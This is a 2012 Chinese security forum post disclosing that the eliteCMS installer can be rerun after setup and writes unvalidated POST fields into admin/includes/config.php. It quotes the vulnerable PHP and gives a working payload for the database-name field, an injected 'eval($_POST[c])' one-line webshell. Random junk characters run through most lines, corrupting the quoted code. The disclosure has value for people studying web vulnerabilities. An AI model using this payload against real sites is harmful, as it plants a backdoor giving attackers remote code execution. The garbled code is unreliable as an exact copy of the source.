找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2303|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装9 `! g; r) A7 ^( r
1 S( _. w  ]( a  K7 J4 Z1 Y
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
$ Y4 A8 N9 g. B  U3 J; U3 V我们来看代码:
$ P& S6 Q: K$ c7 }
2 r3 E1 R5 w2 \- q...
; q: M" k  r8 M. y: u' W' lelseif ($_GET['step'] == "4") {3 a* M# E7 f* w/ s
    $file = "../admin/includes/config.php";6 X6 ^8 B- {+ I! T& ?
    $write = "<?php\n";! Y. p$ {! z1 e( M
    $write .= "/**\n";
& w1 u4 ~+ R9 N! Z    $write .= "*\n";
2 F5 n5 j' t! Z8 y9 Z- f    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";. W+ N9 S1 s# U  H( i: w+ a
...略...
9 R9 Z5 L* ~4 \! I0 f$ f  k    $write .= "*\n";
. J( Z" _8 L# h0 i& w7 q    $write .= "*/\n";9 i2 r7 @, y( e/ ~+ F
    $write .= "\n";6 q7 q" o- }3 |5 z6 A4 O: Q
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
0 c% V3 P" A. x6 O5 |! L" {! p0 g    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
" A2 n' S1 M3 N" m! L9 ?3 o& u    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";# C' K5 ?4 `! I- f: r
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 c4 Y  Q0 l. e; V8 d    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
/ [' c% a0 k( [    $write .= "if (!\$connection) {\n";
+ n: v1 |# ]% k& X" O    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 |+ d6 U3 }8 {    $write .= "        \n";- T4 G5 e$ L- m+ x! e
    $write .= "} \n";# g8 J, P/ E' `8 _: k: Q
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: C8 x3 R2 O; p    $write .= "if (!\$db_select) {\n";
6 y2 k0 B* ?9 I' I: I    $write .= "        die(\"Database select failed\" .mysql_error());\n";
2 \9 j, g& Q9 V    $write .= "        \n";
& K1 C/ M! U# _) F% y. n9 w    $write .= "} \n";
8 ?- O4 p) D7 m% k    $write .= "?>\n";
9 y3 M! i* c) H7 G$ i
/ L- T/ E6 r2 t6 ?    $writer = fopen($file, 'w');4 t7 Z* J; j) t' l; i  o' K! B" y
...
4 c; c2 q( Y' S4 W6 B
; l& U$ X- u2 o在看代码:
* m2 D' Y5 y1 l) d1 [- y% u
/ S2 G. ?8 k) H! }( s# \$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
. Q* M0 r) b4 t9 t$_SESSION['DB_NAME'] = $_POST['DB_NAME'];0 @: L- W# L7 a+ r# N3 q- x
$_SESSION['DB_USER'] = $_POST['DB_USER'];, a7 f3 \0 T6 r: P0 T1 C8 o8 e
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];, @, \; z$ E4 U4 F5 ~

4 u5 A6 Y7 z' C+ \# |取值未作任何验证$ c$ C! M2 l. H4 a. E# C: w/ ^( s
如果将数据库名POST数据:
8 t& f6 w+ x7 {9 b: P- ?! Y
3 A5 Z0 ~$ S. R"?><?php eval($_POST[c]);?><?php
4 R- O; P: ]- V9 `% v0 F* k
$ F- N- d! N  X# V将导致一句话后门写入/admin/includes/config.php
  E. u+ i5 h9 ?; z0 ?/ r$ i6 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表